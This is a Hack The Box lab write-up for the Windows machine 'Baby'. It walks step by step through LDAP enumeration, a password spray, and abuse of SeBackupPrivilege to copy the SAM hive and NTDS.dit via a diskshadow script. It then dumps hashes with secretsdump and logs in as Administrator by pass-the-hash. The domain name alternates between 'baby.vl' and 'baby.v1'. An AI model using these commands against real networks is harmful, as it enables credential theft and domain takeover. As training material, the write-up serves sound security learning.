



HACKTHEBOX



Baby

24th September 2025

Prepared By: Pho3

Machine Author: xct

Difficulty: **Easy**

Synopsis

Baby is an easy difficulty Windows machine that features **LDAP** enumeration, password spraying and exposed credentials. For privilege escalation, the **SeBackupPrivilege** is exploited to extract registry hives and the **NTDS.dit** file. A **Pass-the-Hash** attack can be performed using the uncovered domain hashes ultimately achieving **Administrator** access.

Skills Required

- Windows Fundamentals
- Basic Enumeration Skills

Skills Learned

- Basic **LDAP** Enumeration
- Password Spraying
- Exploiting **SeBackupPrivilege**
- Pass-the-Hash Attack

Enumeration

Nmap

We will start with our usual `Nmap` scan and find several ports open.

```
$ nmap -sC -sV 10.129.116.120
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-15 12:54 EEST
Nmap scan report for 10.129.116.120
Host is up (0.065s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2025-09-15
09:55:14Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: baby.vl0.,
Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: baby.vl0.,
Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server    Microsoft Terminal Services
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2025-08-18T12:14:43
|_Not valid after: 2026-02-17T12:14:43
|_ssl-date: 2025-09-15T09:55:59+00:00; +13s from scanner time.
| rdp-ntlm-info:
|   Target_Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|_ System_Time: 2025-09-15T09:55:19+00:00
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
</SNIP>
```

The results show some common services are available such as DNS (53), Kerberos (88), LDAP (389, 3268), etc. We also gather that the domain name is `baby.vl` and the domain controller's full hostname is `BabyDC.baby.vl`. We'll need to add these to our `/etc/hosts` file so that our system can properly resolve the IP and communicate with the domain controller.

```
$ echo "10.129.116.120 baby.vl BabyDC.baby.vl" | sudo tee -a /etc/hosts
```

LDAP

Our next step will be to try and exfiltrate whatever information we can find on the users in the domain. Using `ldapsearch` we will try and get a list of users by narrowing down our query only to the user objects and using `grep` to filter only for the proper `sAMAccountName`.

```
$ ldapsearch -x -b "dc=baby,dc=v1" "(objectClass=user)" -H ldap://BabyDC.baby.v1 | grep
sAMAccountName:
sAMAccountName: Guest
sAMAccountName: Jacqueline.Barnett
sAMAccountName: Ashley.Webb
sAMAccountName: Hugh.George
sAMAccountName: Leonard.Dyer
sAMAccountName: Connor.Wilkinson
sAMAccountName: Joseph.Hughes
sAMAccountName: Kerry.Wilson
sAMAccountName: Teresa.Bell
```

We can now add these users to a file such as `users.txt` and search for some more information about each user. By using the same command but without the `grep` filter, we will see more detailed information about each user.

```
$ ldapsearch -x -b "dc=baby,dc=v1" "(objectClass=user)" -H ldap://BabyDC.baby.v1
<SNIP>
# Teresa Bell, it, baby.v1
dn: CN=Teresa Bell,OU=it,DC=baby,DC=v1
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Teresa Bell
sn: Bell
description: Set initial password to BabyStart123!
givenName: Teresa
distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=v1
instanceType: 4
<SNIP>
```

The most important thing we find is that the user `Teresa.Bell` has a possible default password we could use in the description field `BabyStart123!`. Next, we can try a password spray with `netexec` to see if any of the users we found are currently using this password.

```
$ nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
```

```
LDAP      10.129.116.120  389    BABYDC      [*] Windows Server 2022 Build 20348
(name:BABYDC) (domain:baby.vl)
LDAP      10.129.116.120  389    BABYDC      [-] baby.vl\Guest:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-]
baby.vl\Jacqueline.Barnett:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-] baby.vl\Ashley.Webb:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-] baby.vl\Hugh.George:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-] baby.vl\Leonard.Dyer:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-]
baby.vl\Connor.Wilkinson:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-]
baby.vl\Joseph.Hughes:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-] baby.vl\Kerry.Wilson:BabyStart123!
LDAP      10.129.116.120  389    BABYDC      [-] baby.vl\Teresa.Bell:BabyStart123!
```

However, we will find we are unsuccessful so perhaps there is something more we are missing.

Foothold

Our next step will be to search for all the objects on the domain while using `grep` to view only the object's `Distinguished Name`. This will allow us to see the Common Name (CN) and Container (CN) of the object as well as any Organizational Units (OU) it may belong to and finally the Domain Components (DC).

```
$ ldapsearch -x -b "dc=baby, dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dn
dn: DC=baby,DC=vl
dn: CN=Administrator,CN=Users,DC=baby,DC=vl
dn: CN=Guest,CN=Users,DC=baby,DC=vl
dn: CN=krbtgt,CN=Users,DC=baby,DC=vl
dn: CN=Domain Computers,CN=Users,DC=baby,DC=vl
dn: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Schema Admins,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
dn: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
dn: CN=Domain Admins,CN=Users,DC=baby,DC=vl
dn: CN=Domain Users,CN=Users,DC=baby,DC=vl
dn: CN=Domain Guests,CN=Users,DC=baby,DC=vl
dn: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
dn: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
dn: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Protected Users,CN=Users,DC=baby,DC=vl
dn: CN=Key Admins,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
dn: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
dn: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
```

```

dn: CN=dev,CN=Users,DC=baby,DC=v1
dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=v1
dn: CN=Ashley Webb,OU=dev,DC=baby,DC=v1
dn: CN=Hugh George,OU=dev,DC=baby,DC=v1
dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=v1
dn: CN=Ian Walker,OU=dev,DC=baby,DC=v1
dn: CN=it,CN=Users,DC=baby,DC=v1
dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=v1
dn: CN=Joseph Hughes,OU=it,DC=baby,DC=v1
dn: CN=Kerry Wilson,OU=it,DC=baby,DC=v1
dn: CN=Teresa Bell,OU=it,DC=baby,DC=v1
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=v1

```

These results show a few extra names that didn't show up as user objects but belong to OU's like `dev` and `it`. The extra names are `Ian.Walker` and `Caroline.Robinson`. If we add their names to our list and try the password spray once more we will see an interesting result.

```

$ nxc ldap baby.v1 -u users.txt -p 'BabyStart123!'
LDAP      10.129.116.120 389    BABYDC    [*] Windows Server 2022 Build 20348
(name:BABYDC) (domain:baby.v1)
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Guest:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-]
baby.v1\Jacqueline.Barnett:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Ashley.Webb:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Hugh.George:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Leonard.Dyer:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-]
baby.v1\Connor.Wilkinson:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-]
baby.v1\Joseph.Hughes:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Kerry.Wilson:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Teresa.Bell:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-] baby.v1\Ian.Walker:BabyStart123!
LDAP      10.129.116.120 389    BABYDC    [-]
baby.v1\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

```

This time we see that `Caroline.Robinson` was using the default password we found. However it has expired and we will have to set a new password if we want to access their account. We can do this using `smbpassword` and setting the new password to something like `NewPass123`.

```

$ smbpasswd -U BABY/caroline.robinson -r baby.v1
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson

```

Now that we have successfully changed the password we can try to log in to the account using `Evil-winRM`.

```
$ evil-winrm -i baby.vl -u caroline.robinson -p NewPass123
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-
winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>
```

We have reached the user of this machine and can navigate to their Desktop for the user flag!

Privilege Escalation

Now we can move on to final privilege escalation. To start our enumeration, we will check the user's current privileges with `whoami /priv`.

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv
PRIVILEGES INFORMATION
-----

Privilege Name            Description                State
=====
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege         Back up files and directories Enabled
SeRestorePrivilege        Restore files and directories Enabled
SeShutdownPrivilege       Shut down the system       Enabled
SeChangeNotifyPrivilege   Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

We see that they have the `SeBackupPrivilege` and `SeRestorePrivilege` which are usually given to users in the `Backup Operators` group. If we check with `whoami /groups` we will see that `Caroline.Robinson` is indeed part of this group. The `SeBackupPrivilege` will allow us to create backups of registry hive files which once cracked will reveal important information such as user `NTLM` hashes.

More specifically, we will need the `SAM` and `SYSTEM` hives. `SAM` stores local account metadata and the hashed credentials (`NTLM` hashes) for local users on the machine. While `SYSTEM` contains the information needed to derive the boot key which is needed to decrypt the `SAM` hive.

We will start by creating the backups in the current directory.

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\sam .\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\system .\system
The operation completed successfully.
```

Now we can download them to our local machine using `Evil-WinRM's` `download` function.

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download sam

Info: Downloading C:\Users\Caroline.Robinson\Documents\sam to sam

Info: Download successful!

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download system

Info: Downloading C:\Users\Caroline.Robinson\Documents\system to system

Info: Download successful!
```

Now we can use `impacket's` `secretdump` tool to extract the user hashes.

```
$ impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
```

However attempting to use this Administrator hash `8d992faed38128ae85e95fa35868bb43` to log in proves unsuccessful.

Our next step will be to try dumping the domain hashes. In order to do this we will need the `NTDS.dit` database which contains Active Directory domain objects and credentials. However the live file is locked and we cannot copy it directly. Thus we will have to create a volume shadow copy or snapshot of the current drive using `diskshadow`. Then we will be able to expose the copied drive and have access to the `NTDS.dit` file since it is not in use. The `SYSTEM` hive which we already have will provide the necessary key we need to decrypt its contents.

So we will use the following script which we will upload to the victim machine and name it `backup.txt`. This will create a persistent shadow copy of the `C:` drive and mount the snapshot with the alias `cdrive` to drive `E:`.

```
set verbose on
set metadata C:\Windows\Temp\test.cab
set context persistent
add volume C: alias cdrive
create
expose %cdrive% E:
```

Now we can run the script on the machine with `diskshadow`.

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow /s ../backup.txt
```

```

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 9/15/2025 11:51:45 AM

-> set verbose on
-> set metadata C:\Windows\Temp\test.cab
-> set context persistent
-> add volume C: alias cdrive
-> create

<SNIP>

Querying all shadow copies with the shadow copy set ID {3813db7e-4f63-4883-8f1a-4a62f288adee}

* Shadow copy ID = {13a9f048-2af2-4bdb-9dc7-5af08a7e9210} %cdrive%
  - Shadow copy set: {3813db7e-4f63-4883-8f1a-4a62f288adee}
%VSS_SHADOW_SET%
  - Original count of shadow copies = 1
  - Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\
[C:\]
  - Creation time: 9/15/2025 11:52:06 AM
  - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
  - Originating machine: BabyDC.baby.vl
  - Service machine: BabyDC.baby.vl
  - Not exposed
  - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
  - Attributes: No_Auto_Release Persistent Differential

Number of shadow copies listed: 1
-> expose %cdrive% E:
-> %cdrive% = {13a9f048-2af2-4bdb-9dc7-5af08a7e9210}
The shadow copy was successfully exposed as E:\.

```

When it completes, we will have a full copy of the `C:` drive exposed as `E:`. Since it is not currently in use we can copy the `NTDS.dit` file with `robocopy` to our current directory.

```

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> robocopy /b E:\Windows\ntds .
ntds.dit

-----
ROBOCOPY      ::      Robust File Copy for Windows
-----

Started : Monday, September 15, 2025 11:52:49 AM
Source  : E:\Windows\ntds\
Dest    : C:\Users\Caroline.Robinson\Documents\

Files   : ntds.dit

Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

```


<SNIP>

```
-----  
Total      Copied    Skipped    Mismatch    FAILED    Extras  
Dirs  :      1        0        1         0         0         0  
Files :      1        1        0         0         0         0  
Bytes :  16.00 m  16.00 m        0         0         0         0  
Times :  0:00:00  0:00:00                0:00:00  0:00:00
```

```
Speed :      71,697,504 Bytes/sec.  
Speed :      4,102.564 MegaBytes/min.  
Ended : Monday, September 15, 2025 11:52:49 AM
```

Let's download the file to our local machine.

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download ntds.dit  
Info: Downloading C:\Users\Caroline.Robinson\Documents\ntds.dit to ntds.dit  
Info: Download successful!
```

And now we can try dumping the domain hashes by using `secretsdump` again and passing both the `SYSTEM` hive and the `NTDS.dit` file.

```
$ impacket-secretsdump -system system -ntds ntds.dit LOCAL  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies  
  
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88  
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)  
[*] Searching for pekList, be patient  
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6  
[*] Reading and decrypting hashes from ntds.dit  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d::  
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884::  
<SNIP>
```

This time we see a domain hash for the `Administrator` that we can use to try and `Pass-the-Hash` to log in with `Evil-WinRM`: `ee4457ae59f1e3fbd764e33d9cef123d`.

```
$ evil-winrm -i baby.vl -u 'administrator' -H 'ee4457ae59f1e3fbd764e33d9cef123d'
```

```
Evil-WinRM shell v3.5
```

```
Warning: Remote path completions is disabled due to ruby limitation:  
quoting_detection_proc() function is unimplemented on this machine
```

```
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
```

```
Info: Establishing connection to remote endpoint  
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We have successfully rooted the box and can navigate to the `Administrator's` Desktop to find the root flag.